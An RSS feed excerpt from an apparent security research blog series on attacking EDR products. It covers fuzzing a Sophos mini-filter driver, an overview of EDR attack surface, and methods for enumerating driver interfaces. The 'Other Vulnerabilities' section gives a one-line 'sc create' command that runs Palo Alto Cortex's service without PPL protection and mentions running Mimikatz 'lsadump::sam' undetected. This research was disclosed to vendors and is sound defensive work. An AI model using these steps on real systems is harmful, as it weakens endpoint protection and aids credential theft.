::github{repo=&quot;0vercl0k/wtf&quot;}&lt;/p&gt;
&lt;p&gt;The high-level procedure is as following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use a HyperV-VM connected to a WinDbg Kernel-Debugger (Other VMs have problems for this setup)&lt;/li&gt;
&lt;li&gt;Make a breakpoint at the target function where the fuzzing should start (Entry of the function in the screenshots above)&lt;/li&gt;
&lt;li&gt;Dump the VM state (memory &amp;amp; registers) with &lt;a href=&quot;https://github.com/yrp604/bdump&quot;&gt;bdump&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Write a fuzzing harness which replaces the input buffer (a2_InputBuffer) and length (a3_InputBufferLength) of the MessageCallback function in the harness function InsertTestcase() (&lt;a href=&quot;https://github.com/0vercl0k/wtf/blob/main/src/wtf/fuzzer_dummy.cc&quot;&gt;template&lt;/a&gt;). The inserted data must not be larger than the allocated memory of these buffers. Optionally, if the input has a specific format, a custom mutator could be implemented.&lt;/li&gt;
&lt;li&gt;Record valid input buffers from the running EDR with breakpoints in the kernel debugger and save them to a file. These can be used as input corpus (seeds) to start the mutations.&lt;/li&gt;
&lt;li&gt;Run fuzzer&lt;/li&gt;
&lt;li&gt;Check, Debug &amp;amp; Improve Fuzzing
&lt;ul&gt;
&lt;li&gt;Check the coverage with IDA Lighthouse to verify if it is working as expected&lt;/li&gt;
&lt;li&gt;Make debug prints in the fuzzing harness by hooking functions with WTF. For example print function arguments.&lt;/li&gt;
&lt;li&gt;Use Tenet to debug certain executions (e.g. to understand a potential crash) &lt;a href=&quot;https://github.com/0vercl0k/wtf?tab=readme-ov-file#generating-tenet-traces&quot;&gt;WTF-Tenet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Virtualize function accessing hardware such as file system access&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The snapshot was created with and without driver-verifier enabled. The following output shows a short run with a small input-length. In general it works and the coverage increases quite good. Also the speed for one Fuzzing-node (one Laptop-core) of almost 1000 exec/s on bochscpu is rather fast but shows that most executions are short and potentially exit early because of invalid input formats.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;..\\..\\src\\build\\RelWithDebInfo\\wtf.exe  master --runs 10000000 --name Sophos --max_len 0x30 --target . --inputs seeds
Seeded with 15016965039757084568
Iterating through the corpus..
Sorting through the 8 entries..
Running server on tcp://localhost:31337..
#0 cov: 0 (+0) corp: 0 (0.0b) exec/s: -nan (1 nodes) lastcov: 3.0s crash: 0 timeout: 0 cr3: 0 uptime: 3.0s
Saving output in .\\outputs\\7167f2dd9d964a3529d55617a73cee2a
Saving output in .\\outputs\\7a0ca97cddb79ec90ece2337d24edc5d
Saving output in .\\outputs\\crash-a271e8d13ac935afad342fa2146ffb70
Saving crash in .\\crashes\\crash-0xa-0x1e8ae6ee000-0xf-0x0-0xfffff80726a26cd9-0x0
Saving output in .\\outputs\\f93b14ce14eafe14c69eff38e546ae33
Saving output in .\\outputs\\crash-c40e54e406c3f2fa11033b815ff06c79
Saving crash in .\\crashes\\crash-0xa-0xffffb402d54c4410-0xf-0x1-0xfffff80726624d95-0x0
Saving crash in .\\crashes\\crash-0xa-0xffffb402d5be7a10-0xf-0x1-0xfffff80726624d95-0x0
[...]
#9013 cov: 14138 (+14138) corp: 61 (2.8kb) exec/s: 901.3 (1 nodes) lastcov: 1.0s crash: 641 timeout: 0 cr3: 0 uptime: 13.0s
[...]
#27735 cov: 15698 (+587) corp: 88 (4.0kb) exec/s: 924.5 (1 nodes) lastcov: 0.0s crash: 1508 timeout: 0 cr3: 0 uptime: 33.0s
[...]
#80583 cov: 17368 (+109) corp: 124 (5.7kb) exec/s: 1.0k (1 nodes) lastcov: 0.0s crash: 3895 timeout: 0 cr3: 0 uptime: 1.4min
[...]
#113654 cov: 17709 (+12) corp: 132 (6.1kb) exec/s: 1.0k (1 nodes) lastcov: 7.0s crash: 5284 timeout: 0 cr3: 0 uptime: 1.9min
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WTF Master output &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The coverage loaded in IDA with Lighthouse showed that at least all major functions were triggered from the fuzzer. Green means that the path was executed in the fuzzing process:
&lt;img src=&quot;./sophos_fuzz_lighthouse.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Fuzzing Coverage loaded in IDA Lighthouse &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is going on?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Crashes in seconds looks too good to be true. The fuzzer catched bugs by setting a breakpoint to &lt;em&gt;nt!KeBugCheckEx&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!g_Backend-&amp;gt;SetBreakpoint(&quot;nt!KeBugCheck2&quot;, [](Backend_t *Backend) {
      const uint64_t BCode = Backend-&amp;gt;GetArg(0);
      const uint64_t B0 = Backend-&amp;gt;GetArg(1);
      const uint64_t B1 = Backend-&amp;gt;GetArg(2);
      const uint64_t B2 = Backend-&amp;gt;GetArg(3);
      const uint64_t B3 = Backend-&amp;gt;GetArg(4);
      const uint64_t B4 = Backend-&amp;gt;GetArg(5);
      const std::string Filename =
          fmt::format(&quot;crash-{:#x}-{:#x}-{:#x}-{:#x}-{:#x}-{:#x}&quot;, BCode, B0,
                      B1, B2, B3, B4);
      DebugPrint(&quot;KeBugCheck2: {}\n\n&quot;, Filename);
      Backend-&amp;gt;Stop(Crash_t(Filename));
    }))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Some of the bugs were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0xc4: &quot;The DRIVER_VERIFIER_DETECTED_VIOLATION bug check has a value of 0x000000C4. This is the general bug check code for fatal errors found by Driver Verifier.&quot;&lt;/li&gt;
&lt;li&gt;0xa: &quot;The IRQL_NOT_LESS_OR_EQUAL bug check has a value of 0x0000000A. This bug check indicates that Microsoft Windows or a kernel-mode driver accessed paged memory at an invalid address while at a raised interrupt request level (IRQL). The cause is typically a bad pointer or a pageability problem.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All these bugs could not be reproduced in a live system. Looking at Tenet-Traces showed that some of the crashes happened in a call to &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; which indicates a false positive and consequently a problem in the virtualized system. Debugging issues like this is an important part when using snapshot fuzzing and additionally without emulated hardware like in WTF (e.g. paged out memory). KAFL in contrast has full hardware access.&lt;/p&gt;
&lt;p&gt;The setup that helped to understand the cause was to compare the code flow of the same input in a live system with a kernel debugger synced to IDA with a Tenet-Trace from the fuzzer.&lt;/p&gt;
&lt;p&gt;With a Tenet-trace loaded in IDA you have similar functions compared to time-travel debugging. You can scroll through the code flow and look at register values and memory content. There are several other helpful functions which are shown on the &lt;a href=&quot;https://github.com/gaasedelen/tenet&quot;&gt;tenet-repo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./tenet_sophos.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WTF Tenet-Trace loaded in IDA&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Additionally, &lt;a href=&quot;https://github.com/bootleg/ret-sync&quot;&gt;ret-sync&lt;/a&gt; can be used to sync WinDBG to IDA what allows to easily compare the snapshot execution to the live system.&lt;/p&gt;
&lt;p&gt;At the end, the problem was related to the IRQL-value stored in the snapshot of bdump (step 3 in the overview):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; r cr8
cr8=000000000000000f
kd&amp;gt; !irql
Debugger saved IRQL for processor 0x0 -- 0 (LOW_LEVEL)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WinDBG in kernel breakpoint before the snapshot was taken&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The CPU register CR8 stores the current IRQL-value. However, if the system is interrupted with WinDBG kernel breakpoint, the CR8 register is changed to &lt;code&gt;0xf&lt;/code&gt;. The current IRQL as shown above, however, would be &lt;code&gt;0x0&lt;/code&gt;. Therefore, the snapshot stores CR8 value of the interrupted state instead of the actual IRQL-value. After fixing this value in the snapshot, the false positive crashes disappeared.&lt;/p&gt;
&lt;p&gt;The fuzzer was running for some days but did not identify any exploitable bug. The main issue of this fuzzing setup was that some functions expected memory pointers on certain positions in the input data. We did not use any structure aware mutation and consequently most of the input could not be parsed and the function exited early. The is no uniform structure and it would have been too time consuming to reverse it for different functions. Additionally, the data where the memory-pointers point at would have to be filled with mutated data or potentially pointers again. We used breakpoints in the fuzzing harness, to get an idea of memory access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    if (!g_Backend-&amp;gt;SetBreakpoint(&quot;nt!ProbeForRead&quot;, [](Backend_t *Backend) {              
        DebugPrint(&quot;nt!ProbeForRead at {:x} with length {:x}&quot;, g_Backend-&amp;gt;Rcx(), g_Backend-&amp;gt;Rdx());  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p class=&quot;figcaption&quot;&amp;gt; A breakpoint in WTF to get debug info for memory access during the fuzzing&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;We did not follow this further, but it could be potentially automated by catching &lt;code&gt;nt!ProbeForWrite&lt;/code&gt; and &lt;code&gt;nt!ProbeForRead&lt;/code&gt; in order to provide feedback to the fuzzer that these values should be valid pointers. All in all, improving the fuzzer and the harness would have been too time consuming and a code analysis is potentially more efficient.&lt;/p&gt;
&lt;h1&gt;4. Other Vulnerabilities&lt;/h1&gt;
&lt;p&gt;During the research, some other vulnerabilities have been identified. The following is a short summary of them:&lt;/p&gt;
&lt;h3&gt;Early Startup of Malware&lt;/h3&gt;
&lt;p&gt;Malware can be started before the user-mode component of the EDR is fully started. This was tested with Cortex and it was possible to execute Mimikatz with lsadump::sam without being blocked. This was reported in combination with the ALPC vulnerability. The vendor did not respond to this issue. Other EDRs are potentially affected, too.&lt;/p&gt;
&lt;h3&gt;Launching CyServer (PaloAlto Cortex) without PPL&lt;/h3&gt;
&lt;p&gt;If a new (second) service which launches Cyserver is created, the original service (which has startup dependencies) does no longer start. The new service configuration is not protected by the Cortex drivers and therefore the configuration can be adjusted. If name begins with &quot;cyserver*&quot; it is blocked.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sc create &quot;fake_cyserver&quot; binPath=&quot;C:\Program Files\Palo Alto Networks\Traps\cyserver.exe&quot; start=auto&lt;/code&gt;
&lt;img src=&quot;vuln_cortex_ppl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Cortex itself thinks that cyserver is stopped because the own service is stopped. However, the EDR still works. The cyserver.exe still has some self-protections in place but the attack surface is a larger compared to a PPL process.&lt;/p&gt;
&lt;p&gt;This bypass was reported to PaloAlto on 12.09.2023. PaloAlto did not provide further information on this. It is unknown if a fix is implemented or planned.&lt;/p&gt;
&lt;p&gt;This post continues with &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; which describes the ALPC DoS vulnerability and some final notes.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Attacking EDRs Part 1: Intro &amp; Security Analysis of EDR Drivers</title><link>https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/</guid><description>This article gives an overview of the attack surface of EDR software and describes the process to search for attack surface on EDR drivers from a low-privileged user.</description><pubDate>Mon, 10 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part1_intro_-_security_analysis_of_edr_drivers/&quot;&gt;Part 1&lt;/a&gt; (&lt;strong&gt;this article&lt;/strong&gt;) gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt; describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-&quot;bypass&quot; as well as a detection bypass by early startup.
Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt; describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager&apos;s namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.infoguard.ch/posts/attacking_edr_part4_fuzzing_defender_scanning_and_emulation_engine&quot;&gt;Part 4&lt;/a&gt; describes the fuzzing process of Microsoft Defender&apos;s scanning and emulation engine &lt;code&gt;mpengine.dll&lt;/code&gt;. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;1. Introduction&lt;/h1&gt;
&lt;p&gt;In today&apos;s organizations, Endpoint Detection and Response (EDR) solutions have become an essential part of the cybersecurity landscape. Despite their prevalence, there remains a notable lack of published research focusing on attacks against EDR applications themselves, even though they present compelling targets for privilege escalation, corporate network compromise, or drive-by attacks. This could have several reasons: limited security research in this specific area, unpublished research held back for red-teaming advantages, or a lack of fruitful findings. Futhermore, there are only a few vendors which have a Bug Bounty program and if they have one, the Windows agents are not in scope (except Kaspersky).&lt;br /&gt;
In recent years, most security research about EDRs focused on techniques to bypass the security measures such as DLL unhooking.
Recognizing this gap, a research project of IG Labs aimed to analyze the attack surface of drivers for widely-used EDRs on Windows. However, after starting the work and before publication of this post, some research into directly attacking EDRs has emerged (&lt;a href=&quot;https://www.srlabs.de/blog-post/edrs-decrease-your-enterprise-security-unless-properly-hardened&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://medium.com/falconforce/debugging-the-undebuggable-and-finding-a-cve-in-microsoft-defender-for-endpoint-ce36f50bb31&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://riccardoancarani.github.io/2023-08-03-attacking-an-edr-part-1/&quot;&gt;3&lt;/a&gt;, &lt;a href=&quot;https://riccardoancarani.github.io/2023-09-14-attacking-an-edr-part-2/&quot;&gt;4&lt;/a&gt;, &lt;a href=&quot;https://riccardoancarani.github.io/2023-11-07-attacking-an-edr-part-3/&quot;&gt;5&lt;/a&gt;, ...).&lt;/p&gt;
&lt;p&gt;Due to the extensive attack surface of EDRs, we decided to limit the scope of our investigation to driver-interfaces accessible by a low privileged user as an entry point.&lt;br /&gt;
EDRs typically incorporate self-protection mechanisms that prevent even local administrators from disabling or uninstalling the product. However, the transition from local administrator to SYSTEM to kernel in Windows, while restricted by security features, does not represent an absolute security boundary. Known methods exist to deactivate or bypass EDRs, including bring-your-own-vulnerable-driver (BYOVD) attacks, Windows Defender Application Control (WDAC), WPF filtering, and other techniques. Consequently, this research focused on low-privileged users, even though attacks from a local administrator can also be valuable.&lt;/p&gt;
&lt;p&gt;Additionally, the focus is directed towards the most used EDRs in the market.&lt;br /&gt;
However, obtaining access to these EDR solutions for research purposes is challenging. Only a very limited number of vendors offer trial products without prior vetting, further narrowing the range of EDRs that can be analyzed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./crowdstrike_trial.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Typical &quot;trial&quot; (which you will never get without having the right business) &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Although several EDR drivers permit low-privileged users to access certain functions, it was not possible to detect any serious security issues. Nevertheless, the blog post describes the analysis process including research paths that yielded no findings to help other security researchers. However, after some time a path led to the ALPC communication in PaloAlto Cortex which was not the initial focus. This revealed a DoS vulnerability that is described in &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part3_one_bug_to_stop_them_all/&quot;&gt;Part 3&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The following products were initially examined for the driver analysis:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palo Alto Cortex XDR&lt;/li&gt;
&lt;li&gt;Sophos Intercept X&lt;/li&gt;
&lt;li&gt;Microsoft Defender for Endpoint&lt;/li&gt;
&lt;li&gt;Cynet 360&lt;/li&gt;
&lt;li&gt;Tanium (not really an EDR but the functionality and architecture is similar)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1.1 Attack Surface of EDR solutions&lt;/h2&gt;
&lt;p&gt;EDR solutions have a comparably large attack surface for applications. These solutions typically consist of multiple components on the agents themselves and cloud services, while some vendors also offer on-premise servers. EDRs are designed to detect and respond to threats at the endpoint level, but they also inherently create a new attack surface that can be exploited by malicious actors. The agents are a complex part and consequently more prone to vulnerabilities. The frontend of the servers-side part, in contrast has a smaller and usually more explored attack surface (at least the part which is directly accessible by a user such as the web interfaces). Even backend web APIs have basic flaws such as missing authentication as shown &lt;a href=&quot;https://medium.com/falconforce/debugging-the-undebuggable-and-finding-a-cve-in-microsoft-defender-for-endpoint-ce36f50bb31&quot;&gt;here&lt;/a&gt;. Some products also use a &lt;a href=&quot;https://github.com/tux3/crowdstrike-cloudproto&quot;&gt;custom protocol&lt;/a&gt; for the agent-to-cloud communication which could be interesting, too. Furthermore, certain products also implement P2P-communication among the agents (e.g. Tanium) which are interesting from an attacker point of perspective.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;These blog posts focuses solely on the agent side.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Agents typically consist of user-space and kernel-space (driver) components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Filter Driver&lt;/li&gt;
&lt;li&gt;Network Drivers&lt;/li&gt;
&lt;li&gt;Software Driver&lt;/li&gt;
&lt;li&gt;Userland Applications&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These components primarily communicate with each other using the following protocols and methods:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel-to-Kernel:
&lt;ul&gt;
&lt;li&gt;Exported functions&lt;/li&gt;
&lt;li&gt;IOCTLs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;User-to-Kernel:
&lt;ul&gt;
&lt;li&gt;IOCTLs&lt;/li&gt;
&lt;li&gt;FilterConnectionPorts
&lt;ul&gt;
&lt;li&gt;specifically used by minifilter drivers&lt;/li&gt;
&lt;li&gt;uses IOCTLs under the hood as well&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ALPC&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;User-to-User
&lt;ul&gt;
&lt;li&gt;ALPC&lt;/li&gt;
&lt;li&gt;Named Pipes&lt;/li&gt;
&lt;li&gt;Files&lt;/li&gt;
&lt;li&gt;Registry&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/ipc/interprocess-communications&quot;&gt;more...&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following list outlines potential vulnerabilities within these components and their communication. Note that this list is not exhaustive and excludes all server-side attack surface:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Memory corruptions in file scanning &amp;amp; emulation (In-the-wild 0day &lt;a href=&quot;https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1647.html&quot;&gt;CVE-2021-1647&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Deletion of arbitrary files (SymLink-Vulns)
&lt;ul&gt;
&lt;li&gt;Plenty of vulnerabilities in the past: &lt;a href=&quot;https://www.blackhat.com/eu-22/briefings/schedule/index.html?#aikido-turning-edrs-to-malicious-wipers-using--day-exploits-29336&quot;&gt;Deleting files &quot;wiper&quot;&lt;/a&gt; (50% of tested EDRs vulnerable)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;User-Mode IPC (Interprocess communications): Authorization issues or memory corruptions&lt;/li&gt;
&lt;li&gt;User-to-driver: Authorization issues&lt;/li&gt;
&lt;li&gt;Classic driver vulnerabilities:
&lt;ul&gt;
&lt;li&gt;WDM: &lt;a href=&quot;%22https://www.youtube.com/watch?v=qk-OI8Z-1To&amp;amp;ab_channel=media.ccc.de%22&quot;&gt;Ilja van Sprundel: Windows drivers attack surface&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;KMDF: &lt;a href=&quot;https://www.youtube.com/watch?v=puNkbSTQtXY&amp;amp;ab_channel=44CONInformationSecurityConference&quot;&gt;Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim at 44CON 2018&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mini-Filter: &lt;a href=&quot;https://googleprojectzero.blogspot.com/2021/01/hunting-for-bugs-in-windows-mini-filter.html&quot;&gt;Google Project Zero: Hunting for Bugs in Windows Mini-Filter Drivers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Server-to-Agent
&lt;ul&gt;
&lt;li&gt;Missing authentication of server&lt;/li&gt;
&lt;li&gt;Parsing bugs in server responses&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Classic Windows Application Vulnerabilities (DLL Hijacking, File permissions, ...)&lt;/li&gt;
&lt;li&gt;Emulation/Sandbox Escapes&lt;/li&gt;
&lt;li&gt;Other Logic Bugs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This article focuses on user-to-driver authorization issues and, to some extent, classic driver vulnerabilities. Part 3 addresses user-mode IPC.&lt;/p&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;The main impact of potential vulnerabilities on the client side is Local Privilege Escalation or hiding the execution of malicious software. Another possibility is spoofing data about the agent sent to the backend. Some vulnerabilities, such as in the scanning engine could also lead to Remote Code Execution.
Additionally, a compromised agent also leads to a larger attack surface for the backend, as the attacker can abuse the authenticated session of the agent.&lt;br /&gt;
In case of P2P-based communication, serious design flaws could lead to the compromise of other agents.&lt;/p&gt;
&lt;h1&gt;2. Driver Attack Surface for Low-Priviledged Users&lt;/h1&gt;
&lt;p&gt;This section provides a basic overview of how to conduct a security analysis of EDR drivers. It primarily focuses on identifying exposed driver functionalities that could constitute an attack surface for low-privileged users. It does not delve into the specifics of driver-related vulnerabilities or their exploitation.&lt;/p&gt;
&lt;p&gt;For a testing environment we recommend using a virtual machine with a WinDBG Kernel Debugger attached. The easiest way to set it up is KDNET (see the following &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection-automatically&quot;&gt;documentation&lt;/a&gt;).&lt;/p&gt;
&lt;h2&gt;2.1 Which drivers are loaded?&lt;/h2&gt;
&lt;p&gt;One method for viewing loaded drivers is using  &lt;a href=&quot;https://www.nirsoft.net/utils/driverview.html&quot;&gt;DriverView&lt;/a&gt; which is further aided by the fact that there is a feature to filter drivers from Microsoft.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driverview.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; DriverView with Cortex installed &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;2.2 What interface does each driver expose to user-land?&lt;/h2&gt;
&lt;p&gt;There are two approaches to check this: static analysis and dynamic analysis. We suggest to use both methods in combination to catch all cases. For example, an EDR driver may only initialize one device object during startup but might be creating more device objects during the course of the EDRs execution.&lt;/p&gt;
&lt;p&gt;Windows Driver Model (WDM) or Kernel-Mode Driver Framework (KMDF) drivers can expose a device interface. This interface can be opened from user space to interact with the driver.&lt;/p&gt;
&lt;p&gt;Mini-Filter Drivers can expose a FilterCommunicationPort which can be used from user-mode to interact with the driver.&lt;/p&gt;
&lt;h3&gt;2.2.1 Static Analysis&lt;/h3&gt;
&lt;p&gt;To establish a communication interface, a driver must invoke specific Windows APIs. These calls can be statically analyzed using reverse engineering software such as IDA.  The following functions, as specified in Microsoft&apos;s documentation, are commonly used:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;WDM Device Driver:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NTSTATUS IoCreateDevice(
  [in]           PDRIVER_OBJECT  DriverObject,
  [in]           ULONG           DeviceExtensionSize,
  [in, optional] PUNICODE_STRING DeviceName,
  [in]           DEVICE_TYPE     DeviceType,
  [in]           ULONG           DeviceCharacteristics,
  [in]           BOOLEAN         Exclusive,
  [out]          PDEVICE_OBJECT  *DeviceObject
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, IoCreateDeviceSecure can be used which applies a default SDDL String.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;KMDF Device Driver:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NTSTATUS WdfDeviceCreateDeviceInterface(
  [in]           WDFDEVICE        Device,
  [in]           const GUID       *InterfaceClassGUID,
  [in, optional] PCUNICODE_STRING ReferenceString
);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mini-Filter Driver:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NTSTATUS FLTAPI FltCreateCommunicationPort(
  [in]           PFLT_FILTER            Filter,
  [out]          PFLT_PORT              *ServerPort,
  [in]           POBJECT_ATTRIBUTES     ObjectAttributes,
  [in, optional] PVOID                  ServerPortCookie,
  [in]           PFLT_CONNECT_NOTIFY    ConnectNotifyCallback,
  [in]           PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
  [in, optional] PFLT_MESSAGE_NOTIFY    MessageNotifyCallback,
  [in]           LONG                   MaxConnections
);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2.2 Dynamic Analysis&lt;/h3&gt;
&lt;p&gt;Registered devices and port names can be identified using WinObj from Sysinternals (although the names are not always obvious) or by setting breakpoints in a kernel debugger.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Device Driver&lt;/strong&gt;: They are listed in WinObj under &quot;GLOBAL??&quot; as Symbolic Link pointing towards the device object. This makes the device available through &lt;code&gt;\\.\NAME&lt;/code&gt; when trying to interact with the driver from another application. Another option is to use the discontinued tool DeviceTree from OSR which shows the devices in a hierachy for each driver and addtional information.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./winobj_devicedriver.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; WinObj with Cortex Devices &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_device_tree_cortex.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; &lt;em&gt;DeviceTree with Cortex Devices&lt;/em&gt; &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mini-Filter Driver&lt;/strong&gt;: They are listed in WinObj named &quot;FilterConnectionPort&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cortex_filterconnectionports.png&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; FilterConnectionPorts in WinObj (Cortex) &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;2.3 What are the access permissions of each interface?&lt;/h2&gt;
&lt;p&gt;This step is more easily accomplished dynamically.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Device Driver:&lt;/strong&gt; To our knowledge there is no modern tool to view the correct access permissions of a device interface. Try to get a copy of OSR DeviceTree which directly shows the ACLs and other flags. An alternative is to use a Kernel Debugger.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./device_tree_permissionscoretex.PNG&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mini-Filter Driver:&lt;/strong&gt; One way to test if a certain user can access a FilterConnectionPort is to use the &lt;a href=&quot;https://www.powershellgallery.com/packages/NtObjectManager/1.1.29&quot;&gt;NtObjectManager&lt;/a&gt; tooling from James Forshaw.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Get-FilterConnectionPort -Path &quot;\CyvrFsfd&quot;
Exception: &quot;(0x80070005) - Access is denied.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To retrieve the security descriptor, use WinDbg as a kernel debugger:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; !object \CyvrFsfd
Object: ffffc2861e32f550  Type: (ffffc2861bc7b220) FilterConnectionPort
    ObjectHeader: ffffc2861e32f520 (new version)
    HandleCount: 1  PointerCount: 6
    Directory Object: ffffd9099503e9f0  Name: CyvrFsfd
